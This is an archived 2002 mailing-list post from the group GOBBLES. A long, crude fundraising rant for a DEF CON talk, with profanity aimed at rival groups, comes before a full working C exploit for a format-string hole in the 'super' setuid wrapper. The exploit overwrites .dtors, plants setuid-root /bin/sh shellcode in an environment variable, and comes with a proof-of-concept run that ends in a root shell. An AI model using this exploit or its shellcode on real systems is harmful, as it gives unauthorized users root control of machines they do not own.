Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:3309
HistoryJul 31, 2002 - 12:00 a.m.

The SUPER Bug

2002-07-3100:00:00
vulners.com
48

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

/*

  • SAVE DEFCON…HELP GOBBLES…SAVE DEFCON…HELP GOBBLES
  • When GOBBLES say he and he security team
  • are non-profit. He really mean NON-profit.
  • This means GOBBLES and he GOBBLES Security
  • Labs (GSL) friends do not have much funds.
  • GOBBLES was hoping to receive the money
  • for speaking at the defcon gathering of
  • security enthusiasts up front. So he could buy
  • and pay for he ticket to Las Vegas from the great city
  • of Baltimore where he currently resides.
  • GOBBLES is not selling out. GOBBLES is just admitting that he
  • need your help. Please, help GOBBLES!
  • After many e-mails to defcon organisers it became
  • apparent to GOBBLES this was not going to happen.
  • This mean GOBBLES has no way of getting to defcon.
  • This also mean GOBBLES cannot deliver he talk that
  • are named "Wolves among us". Alot of time and work
  • went into the preperation of this talk and it was
  • to be the grand finale of the year of the turkey
  • (2002). With many new 0-day to give out and many
  • great anouncements to be made.
  • Thanks to Jeff Moss ([email protected], [email protected])
  • you, the defcon attendee, may very well get cheated out
  • of attending one of the most provocative and daring
  • events defcon history has ever seen.
  •  !!! ITS NOT TOO LATE..BUT HURRY !!!
    
  • Help GOBBLES go to defcon. GOBBLES give so much to
  • the community…is it not time the community now help
  • a poverty stricken turkey to spread his wings and fly
  • towards fame and glory?
  • Reasons why you should help GOBBLES get to defcon:
  • – Paying for GOBBLES plane ticket to Vegas is better than spending $300 on
    a stripper
  • – Seeing GOBBLES present naked: Priceless.
  • – Zeroday (possible hardcover) GOBBLES comic
  • – A chance to buy GOBBLES art
  • – A chance to receive free GOBBLES T-shirts
  • – Copies of those exploits you couldn't code
  • What does GOBBLES need?
  • Basically GOBBLES need to round up 300 US dollars before saturday.
  • "Wolves among us" is sheduled for the last day of defcon.
  • Namely 3PM on Sunday August 4th. As you can very well imagine
  • this talk was going to blow the lid off of more dirty secrets
  • than there are noodles in China. With your help GOBBLES can still
  • make this happen. So what GOBBLES is asking for is a little helping
  • hand from the community. If anyone has the funds to sponsor GOBBLES
  • to come to defcon please contact GOBBBLES at [email protected].
  • !!! TURKEY SUPPORTERS...DO NOT LET THE TURKEY BE SILENCED !!!
    
  • GOBBLES accepts Western Union payments. GOBBLES will not accept anything
  • beyond the amount needed for travel to Vegas and back. GOBBLES is not
  • selling out, GOBBLES is asking help from those penetrators and researchers
  • that GOBBLES helps every day.
  • In other news, ISS rejected GOBBLES request for a job application. It
  • seems that they're afraid of getting scalp'd.
  •                       Political statement:
    
  • HALT THE SNOSOFT ABUSE OF 14 YEAR OLDS. MAKING CHILDREN SLAVE OVER 3 LINE
  • PERL EXPLOITS FOR LESS THAN MINIMUM WAGE IS NOT VERY ETHICAL !!!
  • FREE DVDMAN FREE DVDMAN FREE DVDMAN FREE DVDMAN FREE DVDMAN FREE DVDMAN
  • JAIL W00W00 JAIL W00W00 JAIL W000W0 JAIL W00W00 JAIL W00W00 JAIL W00W00
  • FUCK ADM FUCK ADM FUCK ADM FUCK ADM FUCK ADM FUCK ADM FUCK ADM FUCK ADM
    */

/*

  • GOBBLES-own-super.c
  • – root exploit for root hole in root wrapper
  • Super is sudo wannabe that boasts much security.
  • GOBBLES think people who write setuid wrappers
  • should learn to program securely before opening
  • big hoohoo about how secure program is.
  • Current super version (3.18):
    ftp://ftp.ucolick.org/pub/users/will/
  • Super maintainer say following about he code:
  • "Super allows an admin to control access to files
  • and functions for users. It is similar to sudo, but
  • uses a different approach in the configuration file."
  • Problem:
  • When super is compiled to use syslog(3) for its logging
  • of error messages the following lines makes pre-auth
  • local root exploitation rather trivial:
  • From error.c
  • #define SysLog(pri, buf) syslog((pri), (buf))
  • SysLog(error_priority, buf);
  • This means users that are not in the super config file
  • will be able to execute code with root priviledges.
  • "Super acts as a SetUID wrapper around system commands
  • to make sure the commands are executed safely, and
  • only by authorized users."
  •          hehehe ;PPpPPPPp
    
  • Love,
  • GOBBLES
  • [email protected]
  • Official site: http://www.bugtraq.org
  • Official mirror: http://www.immunitysec.com/GOBBLES/
    */

/* Proof Of Concept:

$ gcc GOBBLES-own-super.c -o GOBBLES-own-super
$ ./GOBBLES-own-super

Usage:
./GOBBLES-own-super -t <.dtors address> [ -o <offset> -A <allignment> ]

$ objdump -s -j .dtors /usr/local/bin/super

/usr/local/bin/super: file format elf32-i386

Contents of section .dtors:
8063f7c ffffffff 00000000 …

$ ./GOBBLES-own-super -t 0x8063f7c
. target @ 0x8063f80
. shellcode @ 0xbfffffb0
. username: 9 bytes
super: No such super command as `xx??%.49103x%29$hn%.16305x%30$hn'.
sh-2.05#

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <pwd.h>
#include <sys/types.h>

#define ALLIGN 2
#define DPA 29

#define SUPER "/usr/local/bin/super"

void buildstring(unsigned long t, unsigned long w, int dpa, int allign);
void stuff(void);

extern char **environ;
char string[256];

int
main(int argc, char **argv)
{
unsigned long t, w;
int dpa, allign, shift = 0;
char c, *store;

    if&#40;argc == 1&#41; {
            fprintf&#40;stderr, &quot;&#92;nUsage: &#92;n&#37;s -t &lt;.dtors address&gt; [ -o

<offset> -A <allignment> ]\n", argv[0]);
exit(0);
}

    allign = ALLIGN;
    dpa = DPA;

    while&#40;&#40;c = getopt&#40;argc, argv, &quot;t:o:A:&quot;&#41;&#41; != EOF&#41; {
            switch&#40;c&#41; {
                    case &#39;t&#39;:
                            sscanf&#40;optarg, &quot;&#37;p&quot;, &amp;store&#41;;
                            t = &#40;long&#41;store;
                            t += 4;
                            break;
                    case &#39;o&#39;:
                            dpa = atoi&#40;optarg&#41;;
                            break;
                    case &#39;A&#39;:
                            allign = atoi&#40;optarg&#41;;
                            break;
                    default:
                            fprintf&#40;stderr, &quot;hehehe ;PPppPPPp&#92;n&quot;&#41;;
                            exit&#40;0&#41;;
            }
    }

    store = NULL;

    if&#40;&#40;store = getenv&#40;&quot;GOBBLES&quot;&#41;&#41; == NULL&#41; {
            stuff&#40;&#41;;
            if&#40;execve&#40;argv[0], argv, environ&#41;&#41; {
                    fprintf&#40;stderr, &quot;. problem re-executing&#92;n&quot;&#41;;
                    exit&#40;1&#41;;
            }
    }

    w = &#40;long&#41;store;
    // shift is signed so this works both ways
    shift = &#40;strlen&#40;argv[0]&#41; - strlen&#40;SUPER&#41;&#41;;
    w += shift;

    fprintf&#40;stderr, &quot;. target @ &#37;p&#92;n. shellcode @ &#37;p&#92;n&quot;, t, w&#41;;

    buildstring&#40;t, w, dpa, allign&#41;;

    if&#40;execl&#40;SUPER, &quot;super&quot;, string, NULL&#41;&#41; {
            fprintf&#40;stderr, &quot;error executing&#92;n&quot;&#41;;
            exit&#40;1&#41;;
    }

}

void
buildstring(unsigned long t, unsigned long w, int dpa, int allign)
{
unsigned int un, deux, x, b[4], namelen;
char a_buf[4];
struct passwd *pass;

    memset&#40;string, &#39;&#92;0&#39;, sizeof&#40;string&#41;&#41;;
    memset&#40;a_buf, &#39;&#92;0&#39;, sizeof&#40;a_buf&#41;&#41;;

    if&#40;&#40;pass = getpwuid&#40;getuid&#40;&#41;&#41;&#41; == NULL&#41; {
            fprintf&#40;stderr, &quot;. can&#39;t find your username&#92;n&quot;&#41;;
            exit&#40;1&#41;;
    }

    namelen = strlen&#40;pass-&gt;pw_name&#41;;

    fprintf&#40;stderr, &quot;. username: &#37;d bytes&#92;n&quot;, namelen&#41;;

    for&#40;x = 0; x &lt; allign &amp;&amp; x &lt; sizeof&#40;a_buf&#41;; x++&#41;
            a_buf[x] = &#39;x&#39;;

    b[0] = &#40;t &amp; 0x000000ff&#41;;
    b[1] = &#40;t &amp; 0x0000ff00&#41; &gt;&gt; 8;
    b[2] = &#40;t &amp; 0x00ff0000&#41; &gt;&gt; 16;
    b[3] = &#40;t &amp; 0xff000000&#41; &gt;&gt; 24;

    un = &#40;w &gt;&gt; 16&#41; &amp; 0xffff;
    deux = w &amp; 0xffff;

    if&#40;un &lt; deux&#41; {
            snprintf&#40;string, sizeof&#40;string&#41;-1,
                    &quot;&#37;s&quot;
                    &quot;&#37;c&#37;c&#37;c&#37;c&#37;c&#37;c&#37;c&#37;c&quot;
                    &quot;&#37;&#37;.&#37;hdx&quot; &quot;&#37;&#37;&#37;d$hn&quot;
                    &quot;&#37;&#37;.&#37;hdx&quot; &quot;&#37;&#37;&#37;d$hn&quot;,
                    a_buf,
                    b[0] + 2, b[1], b[2], b[3], b[0], b[1], b[2], b[3],
                    un - &#40;8 + allign + 29 + namelen&#41;,
                    dpa, deux - un, dpa + 1

            &#41;;
    }
    else {
            snprintf&#40;string, sizeof&#40;string&#41;-1,
                    &quot;&#37;s&quot;
                    &quot;&#37;c&#37;c&#37;c&#37;c&#37;c&#37;c&#37;c&#37;c&quot;
                    &quot;&#37;&#37;.&#37;hdx&quot; &quot;&#37;&#37;&#37;d$hn&quot;
                    &quot;&#37;&#37;.&#37;hdx&quot; &quot;&#37;&#37;&#37;d$hn&quot;,
                    a_buf,
                    b[0], b[1], b[2], b[3], b[0] + 2, b[1], b[2], b[3],
                    deux - &#40;8 + allign + 29 + namelen&#41;,
                    dpa, un-deux, dpa + 1

            &#41;;
    }

}

void
stuff(void)
{
char code[] = // the setuid 0 with the execve of the /bin/sh
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31"
"\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"
"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
setenv("GOBBLES", code, 1);
}

-----BEGIN PGP SIGNATURE-----
Version: Hush 2.1
Note: This signature can be verified at https://www.hushtools.com

wlwEARECABwFAj1H8s4VHGdvYmJsZXNAaHVzaG1haWwuY29tAAoJEBzRp5chmbAPl8QA
nA66Z1OWuMnTnOhLlFQLa0nOHSZtAJsFKJo5AOe/7/OYbXpZRd3grAD8MQ==
=xfu0
-----END PGP SIGNATURE-----